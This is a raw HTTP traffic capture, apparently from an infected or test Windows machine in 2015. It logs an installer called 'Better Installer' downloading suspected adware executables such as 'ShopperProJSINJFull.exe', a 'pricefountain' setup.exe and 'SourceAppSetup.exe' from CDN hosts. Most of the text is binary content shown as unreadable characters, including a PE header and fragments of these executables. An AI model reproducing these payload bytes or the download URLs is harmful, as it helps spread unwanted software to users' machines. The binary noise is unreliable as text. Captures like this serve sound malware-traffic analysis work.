.....I..S..2....$......<R......#/..].O...G..a@#..*.QKU.aU}5..G..O..
D.e}...x.Z6...nM..~...l...F....$.... .D..t?..K.1.E!....N....u.)Z.I_.Q.
....t.^w.Q.. ......R...;{%.#k.......j..M.$...y..|.]....<.:..]N`....
...{....z.d....Q.....m1..&.{..LL.MR..bWa ..c.l..|.P.5.L......0...0...0
............I...*....^n...0...*.H........0..1.0...U....US1.0...U....th
awte, Inc.1(0&..U....Certification Services Division1806..U.../(c) 200
6 thawte, Inc. - For authorized use only1.0...U....thawte Primary Root
 CA0...141202000000Z..151216235959Z0_1.0...U....US1.0...U....thawte, I
nc.1907..U...0thawte Primary Root OCSP Responder Certificate 30.."0...
*.H.............0.........x...F83..,.D.,2D.;JGc.|_.k.....B.7.....G}.M.
s.....S.i.Uu.h.Aq..v...4:l..U.......T7l...~vl...r....{*..........V.o..
8|.B..^.a.. ...z....x..s...\[Y....<....'> ..YC..7.zVk.$...o3..ka
o]c...>C./bPX.......I..Oc.....NN......g.....,/..]......qN.....V!<
;.3.)...y#.........i0g0...U.%..0... .......0... .....0......0...U.....
..0.0...U...........0!..U....0...0.1.0...U....TGV-B-2770...*.H........
........lt..\..z. ..N.f.!.S5d?J.&....r...D........L.`.s.p...HC.L.8f...
 .........GA7......P..Z.%.../............z.n.6~I...].).....W...W\|.uya
..:...^...hW..7.Z.uc.'....:.xL...HS.....>.........5......%....3S...
.h........U....o.C.\.t.....G.._.C0(l.E9..6UTxg.gF ..;.....
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECEBILJd3le4hjatTZfSO5nIg= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.thawte.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1396

content-transfer-encoding: binary

Cache-Control: max-age=558507, public, no-transform, must-revalidate

Last-Modified: Tue, 6 Jan 2015 20:44:35 GMT

Expires: Tue, 13 Jan 2015 20:44:35 GMT

Date: Wed, 07 Jan 2015 09:36:46 GMT

Connection: keep-alive
0..p......i0..e.. .....0.....V0..R0...............w/.|`....a...2015010
6204435Z0s0q0I0... ........l....r.vdv0..*.~Y..X....e?z.4..G.L.......q.
...%..{.cj..}#.......20150106204435Z....20150113204435Z0...*.H........
.....V..S_..:......T......e.@..u.!...sw..4..8g..."o..H.......X.g.....u
.....M.....M......F./]....c:..'....u.;Z_....#..*..I.ii...Q....n...e...
..y..>..b.X...%...!..>......|B\..?.....]......[H.G...z.....j.%.?
`5T....?..l .^.dm./7n...[f..p3....r. .^%x*tD.f..Z..6.........0...0...0
..y.......x..wW.M..@5....80...*.H........0J1.0...U....US1.0...U....Tha
wte, Inc.1$0"..U....Thawte Code Signing CA - G20...141210000000Z..1503
10235959Z0Y1.0...U....US1.0...U....Thawte, Inc.1301..U...*Thawte Code 
Signing CA - G2 OCSP Responder0.."0...*.H.............0..........P....
.].8?e...8.0.. ...-.uP.3....pQ......mi..wVt.......<....{d.?..9..z%.
?..}.N`.V.........I.X...E#...*.f...X.;...75......%...n.%..#..T.<...
..fEQ.\\.f.{M.H...M..u...9~..C....B.o..........dc...V..,.........{...j
.9.xw?D..ooNf&=......D|.R..../.....So....*-5.......d0b0...U....0.0...U
.%..0... .......0...U........0... .....0......0"..U....0...0.1.0...U..
..TGV-B-25170...*.H.....................2.).xO...].6..R.k...H =d...L..
.(o0#.......<O#.;.b.@..l...^.q.Y...}....S(syt&...$..L..7<...nb|.
..]2c..q..Q.L.3,.............n>....tND..fJ.&. .....%7.....f.31.>
..d...ET.E.~.x...]N...*.......n......HI..*M..t.......:.=.:..(2M".S....
.&....................<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 0zkd4qqp4om-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 07 Jan 2015 09:33:19 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: suiE6aNcWtdziU7T0iEVBLhi3vIlgaJQgdoXkEfbt Ib948iMMyL4 1tSK3S9RQl

x-amz-request-id: 776A69786C9285AF

Last-Modified: Mon, 05 Jan 2015 18:18:32 GMT

ETag: "60f7c4febb18abd91df6cbedf9b97d2b"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 250000-499999/4687525
 ...9"gb.....yPo........e.;8...O..l...|........`w...I2...(b.,..^{.....
Zx.....2B?....!.......7.sP.....".....]....Q.Q...S.r.09;!C6;..Q.Z..;..u
.."...........Ib...&.....S......\..Q.xOR'g.*.....jb)gm........s._6...H
..j.Q.#.$..0J;../.hg..1..p.....} ..7!.C.....=.N..._....OQ.3.......Y\R:
.._<......K.~..f.4.Bp..........>..D.:.3.......jD!.3.E...A.k..z.c
...L./c....6.r~.s..oY.u..b'a.`. .HcJ.P..|.p...../...]...x......naYM/e.
.^.q|O...K...a2..o.....5.....%5.....e[P....Y..^..0..B.9...u...T..B.PL.
.{..R....c..N..ks.P....h...6..-..../.].c^t.V..K..J..W.&T..f...`....y 1
cI..J.X.u....v..9,..G.M4a-:..>.."..M..P..:5...gX".:.w.XTL`d..@!.9%G
jm......?....D.0.HL./...I. ...*...Z.....K.....<0.@Ao........OQ.dn..
9..Q.....`.....l....Mp.9.$..pi.._..A.}...J...7...e._O...&.z.u..h.....$
Z.....s.q......Zu..g......\..j.o_.(....\..o`=.&$...m../BAiW........]c.
".D..dV.(./..L..i......n..yZ.U..^....>)J......L.......(r..$...U..*.
...._:&.t4...........u..O..R..D.Aq<OT...........H.E..R.B..j...W....
.....q..a.D~nS..i..2...$&...'...~...9g.%...:)h....'.s.|:.....s.K..{...
a.....\...BX.J..SI......O..{.....F..:.}.1F.....m9......1.]2.p...e ....
.....&.......p..zL..w.O.?..M......v<....yVf......U.{'.....:...:.A..
........G...v.../...........}a.zJc......D...\\...q.U|...R.y......$.#..
..e...^!k..Q... ...'Y.3.}g........|!...B.G.3.v..%.8.>."..I.....\.e.
.,..ED..)...d=.C....1#.%......VXAJwx.u......c.}.)...Y1.YE&.Q....E$T2.]
.621.N...-...k.s..\.>...N.3..7..V........4.v........S.Gzj......@e&.
x>T.q..m.d..$c.uNHm.....mk.....`&..$..r.V.;......t.,.@w[Q...,vO<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=750000-999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 0zkd4qqp4om-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 07 Jan 2015 09:33:19 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: suiE6aNcWtdziU7T0iEVBLhi3vIlgaJQgdoXkEfbt Ib948iMMyL4 1tSK3S9RQl

x-amz-request-id: 776A69786C9285AF

Last-Modified: Mon, 05 Jan 2015 18:18:32 GMT

ETag: "60f7c4febb18abd91df6cbedf9b97d2b"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 750000-999999/4687525
=p.....#...e*..y...l\.l~h'QA_...E...P.$.....7....?..n.Nt...-....O...}.
a.l....Ks[..q........$..NS...D...dFp......}P>....4n.m...y4*..P....&
Am..6.....N.........O..&.J.QGBPJ\......."..l.....K....IG...o2..C.w.%v.
6..%g.&...GO..<..i..Jnu...ap.w..C.D.&%....D.k.W.*..biB6..........d.
...N<...M..y..O..DmIWs.]*..AXy....`.t6..q=........Z.W....y.........
..~.) ...~^.Z.......[$...."...v_#P..^6x.#..n..T[8=.7I.c.f.f.|...FH.<
;..j.......'".i..-1H...N....wC...i{o0'.}...:...~A[...O.^....i1Dr......
..L....R.&`!..>.Q....z.MFA."....G...~.C.....{....p...MqI......Q..kW
.....k..h.m_j.4.W...g.d..Jt\.u.rD1.o#.*[.0.."..IAA.....S4... {....08.!
..z..o..B..H$A.ao..h....~..G..y....?...........Js.4H.?.....x..xyEZ..Qi
|N.e...!..n..2C.r3.H.j:.u....\d.|z...d.*n...>.....P..l.2.3. W&0@e.x
....J-.]1.....&..........&oru9..%........k7=L..i....B..=Bh.}..d~1..P.x
@...J...[.Mn........:[8.J.Q...h..4.~.k.q.x...).%...K7......../.f.i..G.
C..c...].-.9$e......6W#.....6.W..oZ.S.......rZJ.c=..RITw.\..g...SE.%.h
c........I.zg...\[.sS..[..._Y....;.>....C.......lm.qu...Q..M....i..
F..vx...W..M..:.;=..\.D.....*.A....q~K........l..).).\Y.....Z....(....
#.%.......;......v..K3..u.>06z.....j{..jh..5..VHW.5..$..8"\`.Z.;m..
%"AY..o......Z..pe.....s.%7tv ....m{.D...f....h.@.<.:_.N e....btyn.
@.I.....O...b.P7Epv....u.tw........D.c............s...AY..d.so..e.....
U.TstO..1f........TgC.."...j..........-.'(2Q.K8...PKW.:>X....q...{.
.:*c.....h...=.[?.. 4.|.S.P.N)%..?0.f..K.L.[*........ 3....../...L=...
a..^.iK....8.8.@.f.7..N.P..."v.c....K..-..Y.F9.....g.......x..j..B<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1000000-1249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 0zkd4qqp4om-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 07 Jan 2015 09:33:20 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: suiE6aNcWtdziU7T0iEVBLhi3vIlgaJQgdoXkEfbt Ib948iMMyL4 1tSK3S9RQl

x-amz-request-id: 776A69786C9285AF

Last-Modified: Mon, 05 Jan 2015 18:18:32 GMT

ETag: "60f7c4febb18abd91df6cbedf9b97d2b"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1000000-1249999/4687525
.:..6......w.f........L16...!*.l.q..;...fA....O_..h.._C?%m..^....(..E.
.8.iz.....7eBf$..__k.t.]..S.fh...N....&?^2v.W..P?......;.' ..|..P..Vi.
.......0.... X.V.Y........8..m.9.a..!.V....o4^n..bL8.-.....|...2.5x...
..5....:.gbx.%.Y.c..tNUo>..?....6.`.g."........F.x.........x'. .f.L
.qj-!......3......en.r...~. O8|S.[..~,...3.f..7h...L.L.....D.....DC...
k..xp.ya6/ .<.]_K> Kl..`.p.5..O...hG.....Y..{..Pu[#....a...Z.g..
.}.hs..[.Af.p.i....6..-u..!I..?&.Q......X.G.A.a...B.b..<..gUS.D...s
ham.3.../..NJh.Y..q.N........p...-)/.m...W.H}.7e<^...bJ=Zx.......;f
....a^9...y.......Kl.. .'h9...oil..BQq. .fbSR.......0j....\3s.hi.../..
6.....m.1Y...?.?_G....Gbk..*...sb* q.}u..J.l=...[3B]....q......B....X!
&.Ge..dv....u.Y..........W...>.1..^.D..N.#.. L.'..nJ.T.ro..........
1...O.jM.n..j.3.c.sFd.u.....;.......... X....2T.Dz9y....PXhA.. .Q..~.N
..=.."..eGg...Be. . .. >...g.2.d..........K....0t... .%.C.u.DN..*..
.........*k..9...1.5..r..rO.!B.l.fo.1.....k..2|.z.e..c.-{...JOr.....R.
.o...F....:Vx)..9Z....t{N..T.#U...=..n'x......[.D..9..y8P=..A....1ND).
d..a.H.....x......H..w:.......G.Bel.:u..|.d.~.#.D/?.X.M.!..%k9Dh#.V...
<..x..P...f]...iZx...=#....xX..e.<Q....f..cc...`.d.g}B.nu.....XA
.OS ..A$....}....V..8G./.oQCt.B....z\f.Tc_b.;8....u...}..j...(.q.6.z..
...j#C...H|K.k...2R...9...X....!......,..&d"..c.M*.#.......Wa7`8.q I..
.!-.?z.G....0......?/.} ..z.{.H.]....B...5..~....]K...I#.....t4.....4=
.yX.......Z.....y..)9...M....J....[.&..4.xW5f.....E..^........;.2..}..
.$.<......I.i..T;q...h".9....P..k.C..z.L..$.,.....(R.U..mZ,l.-.<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1500000-1749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 0zkd4qqp4om-su78sj1t.netdna-ssl.com

Connection: Keep-Alive

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1750000-1999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 0zkd4qqp4om-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 07 Jan 2015 09:33:20 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: suiE6aNcWtdziU7T0iEVBLhi3vIlgaJQgdoXkEfbt Ib948iMMyL4 1tSK3S9RQl

x-amz-request-id: 776A69786C9285AF

Last-Modified: Mon, 05 Jan 2015 18:18:32 GMT

ETag: "60f7c4febb18abd91df6cbedf9b97d2b"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1750000-1999999/4687525
..__p.W........O...c.t...9.. *-..A......FnL:.5..n..........!.P.A..T~y.
.. ..m..!/x...5T.&<..7.vR.I.0)>.}.5r]6!.....j,u>..{.g..RK..].
.{.....^;.*w.....f.._...b....[....'.....}XF.V....-....]B.....z.na....u
..T.!...k....RJ.>e(kb.5Q.i..X.....2.......2.....g.......Y..K.....J.
...(.(.f.$.6.....d.<..(U)et..x`......Zj_......u.i.B...L..fE..%..q..
.K....u............6..l\E..s...S.#..m.REK8T.>..H..\M..........kw.A.
..JQ........R.x..L3H...<.o..8J.R..{...H:..N.wY.]...n&.}.l... .....~
...e.J.Gd...f.LZ)N..v.R.......r.j....d&5.D...a.Z...G....v...3..gMn...r
.......V..........F"f..x0.No.I.U......._........5 ..$Z......... (.,|W.
 }..'...G..h...!GB,".'...\.......,...>na.Zq~`...&....;H...."...C-..
....Sl|.x..7.Y.R}....c.......sJR.....|}..|....#h.t-.....C.......,.w.u.
..4jg..N.h.g...&.G.GE.Z....t..3...vJ....H.V..RK--.Aa...n4K..E.sF......
9........ ._h.)Ui....m......:=...F.i.P.C.R.....!....R....eU.<.u*7..
w...P.C............H../...1./.66...../...5......].P.L..~...7%.x...2..y
h-.<in ...EG..&..{>....w.%S...II....Y.....M..........0...#Ox.#..
..j..D.y...\.g....B..!Pp..J"....r. =h@3{s..b.i.f\.!i....qq.S./<...S
v..P.;).G..#..o....e\.:..[.CD=..\..!Q]}...p....J.......4.h.[....d.#...
.........o.BD......^.r..`.w...OR.!..;d3S..4......vi..c#={8r.G....'. WF
.=..c...$.t[...@..b...}vF}K.1q..Q.g.7........Q..U......s,..E!..hC.... 
..].m(z...'H4 6QPT.>.@.n9.R>...........'.....@...PR~.D.. t.&7.,.
......).V..wtZ.g'>..H....}I....c...k...x,..]....x..;.kv...z.. k.g..
a..30j.vy;......GN.F....hR...`/. ...yX....7B...<.......z.y..#..<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2000000-2249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 0zkd4qqp4om-su78sj1t.netdna-ssl.com

Connection: Keep-Alive

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2500000-2749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 0zkd4qqp4om-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 07 Jan 2015 09:33:20 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: suiE6aNcWtdziU7T0iEVBLhi3vIlgaJQgdoXkEfbt Ib948iMMyL4 1tSK3S9RQl

x-amz-request-id: 776A69786C9285AF

Last-Modified: Mon, 05 Jan 2015 18:18:32 GMT

ETag: "60f7c4febb18abd91df6cbedf9b97d2b"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 2500000-2749999/4687525
.z%.A...|..Vb..y....2...t......0.4s...........z#.gRi......F.Zt.......Q
.$..%..U..X.D..y.qPhkn...T7S.`.>.L.&.k..../g.f.2.....]....k."J~.N..
9.i........{a.............. ..#.l.B.u.4V.e.Y..F..&.'.Y.Y...u,..b.....M
M&.:m.@..y.^i.\.....Q.-R..l...Jq1.............?.........V..2......Z .y
.K.........C.1.<.Q........F..$J......k$...&!5..L1F.[.<.#.-......
..^h.._.....0...9.fq... .w/s.u.].? i.Z...F.....^.9..`LzG..P.I.Al....x.
..."..DV........f...X....@..K.. ..{....._.R..!}(....q....U.,.~y..8d...
.{;g~..xTJ.X...R.....d.....:L.`..Q>x.k<.l.Xg/k.Py<Zy...B..*.3
.8./...[#}E..bF^.....?.7E^.,h.!.....#8.....Z.k=.....^.Z........'W@.|x.
.<.....S......;Y........l..0..3.>.nb.._p..3Fx.tX..=)..t..W.\..&g
t; ......zK...*.o.{...!G....1.......%....)...%$j..3P.......E|...`Z0...
.r..9..Sd=. 6...).T..3..WuSP...%&.........AZ...U{......D..eC4.N.a..;..
rge.y.H.........F.WO.K#.f..jZ.!...\...P..aJ).&>.o.j.-a.I.06e....Xb.
%..L..............~N...3.>.ov.X...:.........n...;d...x.....,.}..(..
..t.{. .....s.i..z........i_/.~e..*..)\%.&..6....$......U...i...}%`_.b
... ..H...ZA........<.W........>..... ...0b..6..,.6.U.....!..s..
..w...-....`..m.........a..........?7J....C.!...G.T...G.....s.........
....k...q......!.L..q..&7..W.......{P..o..qw...CWj....z.$.KH.O..>..
...:...... !.._i.vQ.hx......h.n...s7.>N...z.6P..f..w..f.;....o..2.X
...@t!\J.g<.0..j#.gL..-f.488`.....\...../.&...Y.....KX..8....T.Z,.g
..n....!...b....Z".].g.]...._W..{wx:<...U...i..Y.f.y.._9....ZT..h..
g...y\6.....L.O...].....0...| .v....^!.C.....5...]*S...}F..2....;&<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2750000-2999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 0zkd4qqp4om-su78sj1t.netdna-ssl.com

Connection: Keep-Alive

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=3000000-3249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 0zkd4qqp4om-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 07 Jan 2015 09:33:20 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: suiE6aNcWtdziU7T0iEVBLhi3vIlgaJQgdoXkEfbt Ib948iMMyL4 1tSK3S9RQl

x-amz-request-id: 776A69786C9285AF

Last-Modified: Mon, 05 Jan 2015 18:18:32 GMT

ETag: "60f7c4febb18abd91df6cbedf9b97d2b"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 3000000-3249999/4687525
:.h.[.#T.g...2..o.d..-..%K..&`.........7M....T...%....*...........s...
t".k}..T#(.<.q. ..8q..[|..&~.8......XB.}....k..>.o.qsE.p..D.? .^
[........]......1..G.......N.j..l..R....P.T-..&-.8....8C.c...8.X.8...k
..%!H..........C...H..f!w..#.[..;fY...7A."..(....>..?.=....@.Dd..{.
.E....p.j..{j1....`.&.,.Gme2=.S/.U........q.....L...a....p........T...
..5 ....Z...0..]*PQ......V......g.:b<..^#\. ..g.;..3u..]U.uh.|.2.s2
...W.......6.[K..6;p.vb........\.........% ...(,z..r..[....Zv.2.&....#
......Q.p.'.&.H.S...bI?(:..A.|.".z^..Z3...|.mZVA....To$t%..._9.W.n..~.
a..R..".Za.d........D........)..[..?..sHfN....da?]..(.p..E..v.....R...
cg.... y..Z..g. .9.)....US..Vs#..;......2..2../.1(p.-.J..0<.P.Y.qJ.
..... .......y..,...X.4....wc_.....p.zb.H9......?R*k9gz..g_.].........
..Z.M......>.....()..%T.....;.....a.*.........g.>J.3q.....D*..&l
t;.8.2.x..Q.: F....9z.......7..Q..............u&.!`:i....m...|T('.MIP.
.......;s#....Vr.......vgAmos.%...y....8..._,.v..Gd........Q...xI..49.
fmO....N.9...s!U....V..ZE.f.w.?...p.......*.f0J_.].....qA6......8..#1.
=j.O-...S Y=....>%.L.O............ZZ.......:Y.....G.....7>.....5
....P.....R..... .r.....pV...{..)I....J9.Y<...Sg C.$`..4p(.....~`NB
..g........E.....#*G=(5.#,...H..&r...V....YNXY..4d(>.;........W...,
.%...H...g.#...,":y.T0.....y....1.........SH.....j.%.BBv....!$...b.a.i
.>&*0.......OQ.P.;]_{n.p.....5.6..a............f.o.s ...m.O......w.
..j{`E^..[od.....|..p.6....>..[?.P.8.......[..M.V..}.v......}...t[k
vE..r.b'.....p.$u.-..sr.....3.F..*}.~...j......r)mz...a.......K.A1<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=3500000-3749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 0zkd4qqp4om-su78sj1t.netdna-ssl.com

Connection: Keep-Alive



......C.\b..s.I....GK......k..Y........R..<lG....f.h_._bgO2w.|7 ^.$
F.o..Z.......G..^...T.H...).Y.......).hC".MN.HK...1.V.......b...}...k.
^z.N.s.xy...V/.......x.....^./.T..I...T...WJ..G.>qD...1...}l3.u..5.
1.N...-`.....z=......N..6".T1.......Q.J...okn4.kSW..).6.1..\T.m...d...
.._T.?{....._..@....p..R.k.%..i.U... w.*...n.W....LQk8.r......d.......
........<o..#...5.TZ.....C...........;..]\..<!...oO...$.z1..Y9_.
.1.....-...}..l.j.)...BV...0.gY.D....R..S.V...r.Og....[/.#e..Jh~.(.Mt.
.....(.%.l....w .O./....yu...C....n..a".B.7.....r9z...]..?.8..<S...
.3?.....-....Q`.IR|'.K...)..].f...G...kH.w..qx.....0l......o..(.6...u.
.4.Rq..q.a.xfv..'..`d......5..o....?..6.....&..\0.Dg..v>.g.D.H.6...
./..RS.....q~....6..x..f...-.....g-...'Q{.":...-%..c..|...;.tB....-c/H
..,m.{...n@.Qi.._._.r..).;. /,.2......'Zs.>....J.r..Tz..'x....N..-!
 ..j.7.7h.<y.M<..c..k..........<.......V^H.....].....@r....].
.~..u`._BK.....ns.....)....S.....m..z.Xw.k|...... ..L..z.G...O.$..(.X.
abV.....K.v......<3.J..cq......f...c4..pZ.....<\!...D.8..L....@.
....d..n"..S=].x..z\.;..L.FW.G.....d&o.%1....r...D.w.....n..'z...:,..c
.M.4b.vHvv..K.x...nn....g...E.6S.*..!*.1L.U......H.VOTt....7..FpF.G...
./f.%.O=.$...t/Bm%:...O.'..R.).....G.!...n4.A&).....E......L.......z..
...C......E.V.8.2...-.Xe...........-.z.a~.r.'...3........<....JYw..
... ........Dw.f.......?.....X.a..v........8L.cM.M.&&P...XJ.....H...TL
?S$....S...G.T..A..!..z..~d3O.X......K..9`...n/.:..C..G.z..`........7.
.~.5Gl....0.... ...m.Q.....`)}\,.&].............."69...@p......~..<<< skipped >>>

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

Range: bytes=1019520-

User-Agent: Better Installer(Mozilla)

Host: d2lci0er4bmjg2.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 611712

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:12:14 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 1019520-1631231/1631232

Age: 2131

X-Cache: Hit from cloudfront

Via: 1.1 8e796b719a6103dba8aacd2b579b0cfd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: RLURJ08NYLctSHLi3Mb5xFfGw4nGFqLDwMZxaxHMzQ-amOyZDNXfmw==
."4....s...... N.$.".b....dR.7....m....h.H..B.|%...o$....o........G...
 .....GD.u..'.J.-s.r...'K....2..d).......e.@.3^..R..h....Fb%n.....G.3.
m58.....@t.ID......>..G<W.....hI.0.....C...5*kt:.J.nO.C....6..$.
....-.8.z..s=.S......:..:>....[.;..pUk.}........ ..Fgd..f...x5.f.*.
d......N...x.`.e(.,.1..3..=.C/..$vM}.(...J..la......B....`k z]..D..x..
..s...m*,.nk_r.....VY...$R.Yh......(....'sI../....##S.'b...'I.y...'b.;
9cw..V.P..............7H.....|.L..o...B....3I....*.o...a.`..T...D.;...
..S?i#~._.....3...T.....BoW....g.{p...`....L.yR.-..U..y..q ........TZ3
F..A0B..-....g...b.^7........k$..W.L.y....y.`Oa..~<..d.OG_...4W J.i
T..}._=.e.{..:"..5 .?..s...g..U......."V.......i...j:...s...$}...d..Z.
1...g.U......-..6.....P...uY..#..n...^;5".o..O..X..g.di....<Q.....m
.!.....}O}..Z./...]9Hc us..<....u.N3....Y.\.XX..1a[...u..|%..B{#.J.
......"{.fN..GQ.P)</.|B....*v........W...M...<.1.T..k..Cx..Q..9.
..h.....}./.|.G{..rH?DH..0...~./..J.f....'g.{..9........!Yw.4.^lJk.s\.
K.....I1...{.s!i`%.h&#";.y46..5....{.@.y.....oA.<B.<|.^*[....L.5
0.9.EK.I........F.l... f.....).....%.aT..|I.......P...h..Gy...B6J.....
.. S.....sD../.8../M...f..R..qKKuQw.lI.g..A~x.&Z..._.aZN.........W.t..
^.-.N\......-H.....JQ...U360.n.[82.....S....}.}.G@_.?.......z..C.....c
.JG@.)*.$......./..../......L_.....9..!................F.....,G....X..
.w....n.#)H%..L.*. .%%..GPK...M..4.R....J.6..u..........r.Ww....[ }W..
.."...k.|....k........{.b.J9.....o.n........fJ...4......].;..#.._....x
g..O.x.(..-e:...a.....f.Y...>....../J.wi..F...Y.........Ha.)...<<< skipped >>>

GET /sd?is=sm HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Content-Length: 583408

Cache-Control: private, max-age=86400

Expires: Thu, 08 Jan 2015 09:33:07 GMT

Date: Wed, 07 Jan 2015 09:33:07 GMT

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
.................................................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@..@.data...x.......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
..nD..H.P.u..u..u...Hr@..B...SV.5.nD..E.WP.u...Lr@..e...E..E.P.u...Pr@
..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u
....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..
Tp@..u..5Xp@.W...E..E.h ...Pj.h..D.W..Xr@..u.W...u....E.P.u...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /ga.js HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/7zipqjkz/554f0c32df4546428c4cd4ba3636f283?v=2.1&uid=554f0c32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Wed, 07 Jan 2015 08:45:48 GMT

Expires: Wed, 07 Jan 2015 10:45:48 GMT

Last-Modified: Thu, 13 Nov 2014 21:10:00 GMT

X-Content-Type-Options: nosniff

Content-Type: text/javascript

Vary: Accept-Encoding

Content-Encoding: gzip

Server: Golfe2

Content-Length: 16068

Cache-Control: public, max-age=7200

Age: 2786

Alternate-Protocol: 80:quic,p=0.02
...........}kW.:..w~....c...pk..f....--..M..dY.!Wb.KK.o.gF.-'..9...vob
{t..Fs..O.".........9..@.#......?... e!...qg.I...A"..N_.').x.I........
.I.Dr6}...|$].B..X...`...Ao.. .fQ.....x8..\..8....a..0............{...
a}x.W|..:l..}.. ...u4....#.%O.AO....k.N[..a....&....tx..;.....'..:.N!y
..Gg....9..a...7....cH>.bw...0..a.a..p5.1d.o|4.=8l.1&.D..,.X.5f..`.
..s.....[....&p:.H.........x......A.9h#.^..>.  ...:...N...,H.1...;.
....b..&a.;....o;.b......v.....N.wr..... ...z.......o..,Wjj8......j.r.
